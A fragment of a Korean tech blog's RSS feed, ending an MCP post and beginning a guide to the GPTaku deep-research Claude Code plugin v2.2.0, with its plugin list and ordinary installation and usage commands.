&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://modelcontextprotocol.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;modelcontextprotocol.io&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic 공식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP Prompts 공식 문서&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://modelcontextprotocol.io/docs/concepts/prompts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;modelcontextprotocol.io/docs/concepts/prompts&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP Prompts 프리미티브&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP Resources 공식 문서&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://modelcontextprotocol.io/docs/concepts/resources&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;modelcontextprotocol.io/docs/concepts/resources&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP Resources 프리미티브&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px; color: #666; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/MCP(2026) vs CLI</category>
      <category>AI 에이전트</category>
      <category>Charles Chen</category>
      <category>CLI</category>
      <category>Eric Holmes</category>
      <category>MCP</category>
      <category>mcp 로드맵</category>
      <category>model context protocol</category>
      <category>stdio vs HTTP</category>
      <category>에이전틱 엔지니어링</category>
      <category>엔터프라이즈 ai</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/555</guid>
      <comments>https://goddaehee.tistory.com/555#entry555comment</comments>
      <pubDate>Fri, 20 Mar 2026 19:00:48 +0900</pubDate>
    </item>
    <item>
      <title>AI가 못 읽던 네이버 블로그, 6단계 폴백 체인으로 뚫는다 &amp;mdash; GPTaku 딥리서치 가이드</title>
      <link>https://goddaehee.tistory.com/554</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2422&quot; data-origin-height=&quot;1618&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pknxB/dJMcagx2gHB/gSYhmAQ9BKdXoh4pmR7uR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pknxB/dJMcagx2gHB/gSYhmAQ9BKdXoh4pmR7uR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pknxB/dJMcagx2gHB/gSYhmAQ9BKdXoh4pmR7uR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpknxB%2FdJMcagx2gHB%2FgSYhmAQ9BKdXoh4pmR7uR0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2422&quot; height=&quot;1618&quot; data-origin-width=&quot;2422&quot; data-origin-height=&quot;1618&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GPTaku deep-research 플러그인 v2.2.0이 3월 16일에 나왔다. 변경사항이 여럿이지만 한 가지가 눈에 들어온다: &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;AI가 제대로 못 읽던 네이버 블로그를 6단계 폴백 체인으로 처리하기 시작했다.&lt;/b&gt;&lt;/span&gt; 설치 방법부터 각 폴백 단계가 실제로 어떻게 동작하는지 정리했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 어떻게 활용하면 좋을지 고민중이기 때문에 완전히 검증하진&amp;nbsp; 못했다. 잘못된 내용이 있다면 말씀 부탁 드립니다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;GPTaku Plugin 소개
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GPTaku란?&lt;/li&gt;
&lt;li&gt;플러그인 마켓플레이스 구조&lt;/li&gt;
&lt;li&gt;전체 플러그인 목록&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설치 방법
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;마켓플레이스 등록&lt;/li&gt;
&lt;li&gt;플러그인 설치 및 업데이트&lt;/li&gt;
&lt;li&gt;사용 방법 (트리거 명령어)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Deep Research 7단계 파이프라인
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;각 단계별 설명&lt;/li&gt;
&lt;li&gt;출력 파일 구조&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;v2.2.0 핵심 업데이트: 네이버 블로그 접근
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;왜 AI는 네이버 블로그를 못 읽나?&lt;/li&gt;
&lt;li&gt;Tier 구조 전체 소개&lt;/li&gt;
&lt;li&gt;Tier 2.5 폴백 6단계 체인 상세&lt;/li&gt;
&lt;li&gt;도메인별 라우팅 테이블&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;버전 히스토리&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실제 활용 시나리오&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;한계점과 주의사항&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응 (2026.3.12~19)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin-bottom: 30px;&quot;&gt;&lt;b&gt;GPTaku Deep Research v2.2.0 요약&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;7단계로 돌아가는 멀티에이전트 파이프라인으로, 공식 문서&amp;middot;기술 블로그&amp;middot;학술 자료를 병렬로 수집하고 출처를 교차 검증한다. v2.2.0의 핵심은 AI가 막히던 사이트에 대한 폴백 체인이다. 모바일 UA 위장부터 Playwright 브라우저 자동화까지 6단계를 순서대로 시도하는데, 네이버 블로그가 주요 타깃이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: GPTaku Plugin 소개 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. GPTaku Plugin 소개&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;GPTaku란?&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GPTaku&lt;/b&gt;는 Claude Code를 사용하는 &quot;AI 네이티브&quot; 개발자/비개발자를 위한 플러그인 마켓플레이스이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub 계정 &lt;code&gt;fivetaku&lt;/code&gt;가 운영하며, 2026년 3월 2일 첫 커밋 이후 현재 9개 플러그인이 등록되어 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(저장소 생성일은 2월 21일).&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;&quot;AI Native&quot;란?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;GPTaku README에는 대상 독자를 다음과 같이 정의하고 있다.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&quot;AI Native란 AI를 단순히 도구로 쓰는 게 아니라, 기획부터 실행까지 AI를 자연스럽게 녹여내는 사람을 말합니다. 본인이 하는 일에 AI를 적용해 실질적인 성과를 만들려면, 결국 자기 자신이 먼저 AI Native해져야 합니다. 하지만 그 과정은 쉽지 않습니다. 개발 경험이 없는 사람에게는 하나하나가 새로운 벽이고, AI와 협업하는 방법 자체를 배워가야 합니다.&quot;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;개발 경험이 없는 사람도 사용할 수 있도록 한국어 트리거와 인터랙티브 UI를 적극 활용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GitHub:&lt;/b&gt; &lt;code&gt;https://github.com/fivetaku/gptaku_plugins&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;라이선스:&lt;/b&gt; MIT&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;플러그인 수:&lt;/b&gt; 현재 9개 (2026년 3월 기준)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;대상:&lt;/b&gt; Claude Code 사용자&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플러그인 마켓플레이스 구조&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GPTaku 마켓플레이스는 &lt;code&gt;.claude-plugin/marketplace.json&lt;/code&gt; 파일을 통해 플러그인 목록을 관리한다. 각 플러그인은 Git 서브모듈로 별도 저장소를 가리킨다. 예를 들어 &lt;code&gt;deep-research&lt;/code&gt;의 소스는 &lt;code&gt;https://github.com/fivetaku/deep-research-kit.git&lt;/code&gt;이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;플러그인 등록 구조&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;마켓플레이스 URL을 한 번 등록하면, 해당 저장소의 &lt;code&gt;marketplace.json&lt;/code&gt;에 선언된 모든 플러그인을 &lt;code&gt;/plugin install&lt;/code&gt;로 설치할 수 있다. 각 플러그인은 독립적인 Git 저장소로 관리되어 개별 업데이트가 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;전체 플러그인 목록 (2026년 3월 기준)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재 9개의 플러그인이 마켓플레이스에 등록되어 있다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플러그인 이름&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;docs-guide&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;llms.txt 패턴 기반 공식 문서 페처, 68+ 라이브러리 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;git-teacher&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;비개발자를 위한 Git/GitHub 온보딩, 한국어 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;vibe-sunsang&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;바이브 코더를 위한 AI 멘토 에이전트, 4가지 워크스페이스 유형&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;&lt;code&gt;deep-research&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;7단계 딥리서치 파이프라인, 멀티에이전트 출처 검증 (이 글의 주인공)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;pumasi&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Claude PM + Codex CLI 병렬 개발자 조합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;show-me-the-prd&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;인터뷰 방식의 PRD 생성기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;kkirikkiri&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;자연어 AI 팀 빌더, 멀티모델 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;skillers-suda&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;4-페르소나 스킬 빌더 (바이브 코더용)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;nopal&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Google Workspace 오케스트레이션 (9개 서비스: Gmail&amp;middot;Calendar&amp;middot;Drive&amp;middot;Sheets&amp;middot;Docs&amp;middot;Slides&amp;middot;Chat&amp;middot;Tasks&amp;middot;Meet, gws CLI)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: 설치 방법 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 설치 방법&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사전 확인사항&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설치 전 환경을 한 번 점검한다. 필수 항목만 갖춰도 기본 동작은 문제없으며, 권장 항목을 추가할수록 네이버 블로그 접근 성공률이 높아진다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;필수/권장&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비고&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude Code CLI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #dc3545;&quot;&gt;&lt;b&gt;필수&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;버전 무관. 플러그인 시스템은 Claude Code에 내장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Python 3.10+&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #856404;&quot;&gt;권장&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Tier 2.5 Step 5 (&lt;code&gt;curl_cffi&lt;/code&gt;) 사용 시 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Perplexity MCP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #856404;&quot;&gt;권장&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Tier 1 활성화. 네이버 블로그 접근 안정성 대폭 향상 (perplexity.ai에서 API 키 발급 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Playwright MCP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Tier 2.5 Step 6. JS 렌더링 사이트 완전 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Windows 환경&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;WSL2 필수 (&lt;code&gt;wsl --install&lt;/code&gt;). macOS/Linux는 직접 실행 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;마켓플레이스 등록 (최초 1회)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에서 아래 명령어로 GPTaku 마켓플레이스를 등록한다. 이 과정은 최초 한 번만 하면 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/plugin marketplace add https://github.com/fivetaku/gptaku_plugins.git&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플러그인 설치&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;마켓플레이스 등록 후, &lt;code&gt;deep-research&lt;/code&gt; 플러그인을 설치한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 특정 플러그인 바로 설치
/plugin install deep-research

# 또는 목록을 보고 선택 (인터랙티브)
/plugin install&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: 설치/업데이트 후 재시작 필수&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인 설치 또는 업데이트 후에는 &lt;b&gt;반드시 Claude Code를 재시작&lt;/b&gt;해야 새 플러그인이 인식된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;설치 확인&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code를 재시작한 후, 아래 명령어로 플러그인이 정상 등록됐는지 확인한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 설치된 플러그인 확인 (/plugin 인터랙티브 UI의 Installed 탭)
/plugin

# 딥리서치가 동작하는지 바로 테스트
/deep-research status&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/plugin&lt;/code&gt;의 Installed 탭에 &lt;code&gt;deep-research&lt;/code&gt;가 보이면 설치 성공이다. 보이지 않으면 마켓플레이스 등록이 제대로 되었는지 확인하고 Step 1부터 다시 진행한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;업데이트&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;플러그인 업데이트가 배포되면 아래 명령어로 최신 버전을 받는다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/plugin update&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;사용 방법 (트리거 명령어)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;설치 후 Claude Code에서 다음 방식으로 딥리서치를 시작할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 슬래시 명령어
/deep-research [주제]

# 자연어 트리거 (한국어 지원)
딥리서치 [주제]
[주제]에 대해 리서치해줘

# 세션 재개
/deep-research resume [session_id]

# 진행 상황 확인
/deep-research status&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
